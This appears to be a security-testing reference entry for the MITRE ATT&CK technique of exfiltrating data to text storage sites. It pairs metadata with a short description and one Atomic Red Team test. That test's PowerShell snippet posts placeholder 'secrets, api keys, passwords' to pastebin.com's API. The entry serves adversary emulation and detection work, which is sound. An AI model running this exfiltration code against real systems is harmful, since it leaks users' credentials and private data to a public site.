| name | T1567.003_exfiltration-to-text-storage-sites |
| description | Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. |
| category | client-side |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1567.003","exfiltration","linux","macos","windows","esxi","sub-technique"] |
| technique_id | T1567.003 |
| tactic | exfiltration |
| all_tactics | ["exfiltration"] |
| platforms | ["Linux","macOS","Windows","ESXi"] |
| mitre_url | https://attack.mitre.org/techniques/T1567/003 |
| tech_stack | ["linux","macos","windows","esxi"] |
| cwe_ids | ["CWE-200"] |
| chains_with | ["T1567","T1567.001","T1567.002","T1567.004"] |
| prerequisites | ["T1567"] |
| severity_boost | {"T1567":"Chain with T1567 for deeper attack path","T1567.001":"Chain with T1567.001 for deeper attack path","T1567.002":"Chain with T1567.002 for deeper attack path"} |
T1567.003 Exfiltration to Text Storage Sites
Sub-technique of: T1567
High-Level Description
Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information.
Text storage sites are often used to host malicious code for C2 communication (e.g., Stage Capabilities), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.
Note: This is distinct from Exfiltration to Code Repository, which highlight access to code repositories via APIs.
Kill Chain Phase
Platforms: Linux, macOS, Windows, ESXi
What to Check
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)
This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin)
See https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it
Supported Platforms: windows
$apiKey = "#{api_key}"
$content = "secrets, api keys, passwords..."
$url = "https://pastebin.com/api/api_post.php"
$postData = @{
api_dev_key = $apiKey
api_option = "paste"
api_paste_code = $content
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData
Write-Host "Your paste URL: $response"